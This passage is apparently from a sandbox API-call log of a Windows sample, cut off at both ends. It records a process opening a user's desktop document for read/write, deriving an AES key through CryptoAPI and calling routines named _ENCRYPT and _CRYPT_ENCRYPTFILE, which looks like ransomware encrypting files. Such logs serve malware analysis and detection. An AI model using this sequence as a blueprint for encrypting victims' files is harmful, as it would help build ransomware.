lpBuffer=0xe8f4051770*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051770*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x34, lpOverlapped=0x0) returned 1 [0023.417] CloseHandle (hObject=0x188) returned 1 [0023.418] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.418] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.418] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.418] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.418] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.418] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.418] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.419] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.420] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178820, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.420] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.420] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.odp", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0023.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.odp", cchWideChar=39, lpMultiByteStr=0xe8f41885d0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.odp", lpUsedDefaultChar=0x0) returned 39 [0023.420] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.odp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\qmknd.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=39, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0023.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=39, lpWideCharStr=0xe8f40699b0, cchWideChar=39 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.odp") returned 39 [0023.421] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.421] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.421] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.422] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.422] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41786a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.422] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.422] CloseHandle (hObject=0x188) returned 1 [0023.422] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.422] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.422] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.422] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.422] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.422] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.423] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.423] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.423] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.423] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.423] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.426] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.426] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.426] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.426] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.426] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.426] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.426] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.426] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.426] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.426] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.426] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.427] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.427] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.427] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.427] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.427] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.427] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.427] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.428] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.428] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.428] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.428] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.428] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.428] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.428] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.428] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b6f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.428] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.428] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.428] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.428] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.428] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40625d0) returned 1 [0023.429] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.429] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.429] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.429] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.430] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.430] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.430] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.430] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417ada0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0023.430] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0023.430] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0023.431] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.432] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.odp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\qmknd.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.432] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.432] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.433] PeekMessageW (in: lpMsg=0xe8f3dfee40, 